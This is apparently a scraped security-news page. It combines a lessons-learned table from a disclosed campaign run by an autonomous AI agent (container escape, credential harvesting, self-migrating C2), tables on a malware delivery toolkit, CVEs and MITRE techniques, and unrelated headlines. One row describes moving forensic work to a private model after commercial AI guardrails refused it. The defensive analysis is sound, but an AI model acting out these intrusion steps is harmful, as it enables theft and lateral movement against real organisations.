Worker-to-node privilege boundaries	Worker isolation failed to prevent escalation to the node. The agent gained cluster credentials because the workload-infrastructure boundary was never enforced at container runtime.	Enforce hard privilege boundaries between workers and nodes. Deploy container runtime security to prevent workload escape. Audit whether workers can reach node-level APIs or credential stores. Include in the next penetration test scope.
Credential exposure	Cloud and cluster credentials harvested after node access. The scope was broad enough for lateral movement across multiple clusters over a weekend.	Rotate credentials on a scheduled cadence and after any anomaly alert. Scope to the minimum cluster and service. Deploy monitoring that flags access from unexpected nodes at machine speed. Map blast radius for board reporting.
Machine-speed detection	Thousands of actions through short-lived sandboxes with self-migrating C2. AI-assisted anomaly detection surfaced the campaign after a weekend of lateral movement, per the disclosure.	Calibrate detection for machine-speed patterns. Ensure high-severity alerts page responders in minutes, regardless of time. Audit SIEM rules for detecting thousands of short-lived executions within a single hour.
Private AI forensic capacity	Commercial APIs blocked forensic analysis. Guardrails screened query content, never analyst identity. Investigation ran on GLM 5.2 privately.	Deploy a capable open-weight model on private infrastructure before an incident. Test against real forensic workflows. Ensure IR playbook includes fallback for when commercial APIs refuse. Document gap for cyber insurance.
Autonomous-agent threat modeling	The campaign matched the forecast agentic-attacker scenario, but no threat model had operationalized it. LLM powering the agent is still unknown.	Add autonomous AI agents as a distinct adversary class with machine-speed decision cycles. Run tabletop at agent speed. Present results to the board as evidence that timelines need recalibration. Include in the cyber insurance application.

Team IT Security - 📰 Alle Kategorien

Immer wieder sonntags KW 30: Tankrabatt, FRITZ!-Service und DNS-Filter, Paperless und neue Banknoten

Meet Open Dreamer: A JAX/Flax Reproduction of the Dreamer 4 World Model Pipeline, With the Full Training Recipe Published

The EU’s AI transparency deadline is weeks away. Is your enterprise ready?

Transparency requirements

A consistent code of practice

Criteria for compliance

Creating a transparency pipeline

US AI testing institute chief steps down within three months

Continuity matters more than personalities

Enterprises still carry the burden of AI governance

10 cool things Copilot can do in PowerPoint

Who can use Copilot in PowerPoint

In this article:

Working with Copilot in PowerPoint

1. Create a presentation template

2. Create a presentation from a document

3. Add content from a document to a slide

4. Refine your slide text

5. Find or create an image

6. Expand your presentation with relevant slides

7. Summarize a presentation

8. Answer questions about a presentation

9. Help you navigate a large presentation

10. Generate speaker notes and/or an FAQ

Related reading:

Your instant Android backup upgrade

The Android backup lowdown

Android’s document backup addition

AMD raises the AI stakes with Helios, Venice and robotics

AMD’s MI455X targets the AI memory wall

AMD’s Helios rack takes aim at Vera Rubin

Kind of like cowbell, AMD Venice gives agentic AI more CPU

Pensando networking and ROCm software advance

Customer commitments underscore rack-scale confidence

AMD expands its robotics and embedded foundation

Execution for AMD is now the test

Remember Jibo? Its Successor Is a Wearable That Turns Your Life Into AI Slop

Datalab Marker v2 vs MinerU, Docling, and Liteparse: Benchmark Breakdown

The June 2026 Apple Security Update Review

The February 2026 Security Update Review

Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Executive summary

Cybersecurity industry tracking

Background

Targeting details

Technical details

Reconnaissance

Resource development

Flowerbed framework

Initial access

Persistence and credential access

Collection

Exfiltration

DNS exfiltration

HTTPS exfiltration

Catcher

Response strategies

Mitigations

Indicators of compromise (IOCs)

Flowerbed infrastructure

Phishing distribution

Post-compromise artifacts

Remediation

Works cited

Footnotes

Acknowledgements

Disclaimer of endorsement

Purpose

Contact

Appendix A: MITRE ATT&CK tactics and techniques

Appendix B: MITRE D3FEND countermeasures

AI success requires a full-stack CIO

The full-stack CIO: Leading with clarity

Reducing organizational friction

Operating model as strategy enabler

Closing the gap between strategy and execution

Sovereign AI has become the public-sector CIO’s control problem

The 5 layers of public-sector control

Evaluating risk: Concentration, jurisdiction and shadow AI

Category	Files	Functions and discoveries
LNK delivery launchers	453	Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths
Filename-spoofing QA	236	Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior
URL/LOLBin execution tests	146	Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution
Encrypted droppers	89	Staged second-stage payloads and installer-style packages
Alternative execution containers	24	search-ms, library-ms, .cpl, and related delivery containers
Payload stubs and spoofed executables	21	Smaller loaders, decoys, and renamed binaries
WebDAV scripts	17	Scripts intended to make WebDAV delivery more reliable on Windows systems
Builder and operator notes	10	README files, test reports, mappings, and generation scripts
ClickFix HTML lures	9	Browser-based social-engineering pages instructing users to run commands
Miscellaneous files	6	Included documentation for the actor’s WebDAV delivery/admin panel

CVE	Observed samples	Short description
CVE-2025-33053	11	Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (nvd.nist.gov)
CVE-2026-21513	4	MSHTML Framework security feature bypass caused by protection-mechanism failure. (nvd.nist.gov)
CVE-2025-24054	1	Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved .library-ms files. (nvd.nist.gov)

Country	Requests	Share of requests	Unique client IPs	Launch events
Mexico	63,622	82.5%	2,698	2,365
United States	4,032	5.2%	463	47
Germany	2,751	3.6%	59	1
United Kingdom	645	0.8%	40	0
Netherlands	532	0.7%	49	1
France	407	0.5%	21	0
Finland	401	0.5%	6	10
Brazil	343	0.4%	41	0
Republic of Korea	312	0.4%	16	1

Method	Count
PROPFIND	57,287
GET	13,088
OPTIONS	6,597
PROPPATCH	125
LOCK	1

Name	MITRE ATT&CK technique	Code
Payload execution	User Execution: Malicious File	T1204.002
Masquerading	Right-to-Left Override	T1036.002
Masquerading	Double File Extension	T1036.007
DLL sideloading	Hijack Execution Flow: DLL	T1574.001
Obfuscation	Encrypted/Encoded File	T1027.013
Payload unpacking	Deobfuscate/Decode Files or Information	T1140
Payload carrier	Steganography / image-carried payload data	T1027.003
API hiding	Dynamic API Resolution	T1027.007
In-memory loading	Reflective Code Loading	T1620
Injection	Process Hollowing	T1055.012
Native API use	Native API	T1106
Sandbox evasion	Time Based Evasion	T1497.003
Anti-analysis	Debugger / instrumentation checks	T1622
UAC bypass	Bypass User Account Control	T1548.002
Persistence	Registry Run Keys / Startup Folder	T1547.001
Persistence	Scheduled Task	T1053.005
Collection	Keylogging	T1056.001
Collection	Screen Capture	T1113
Collection	Clipboard Data	T1115
Credential access	Credentials from Web Browsers	T1555.003
Credential access	Steal Web Session Cookie	T1539
Collection	Data from Local System	T1005
Collection	Automated Collection	T1119
Staging	Archive Collected Data: Archive via Utility	T1560.001
C2	Encrypted Channel	T1573
Exfiltration	Exfiltration Over C2 Channel	T1041
Possible persistence	WMI Event Subscription	T1546.003
Phishing lure generation	Generate Phishing Lures	AML.T0052
Resource Development	Resource Development	AML.TA0003
Obtain capabilities via LLM tooling	Obtain Capabilities	AML.T0016
LLM-assisted capability development	Develop Capabilities	AML.T0017
LLM prompt crafting for attack documentation	LLM Prompt Crafting	AML.T0065
Obtain capabilities via tooling	Obtain Capabilities: Software Tools	AML.T0016.001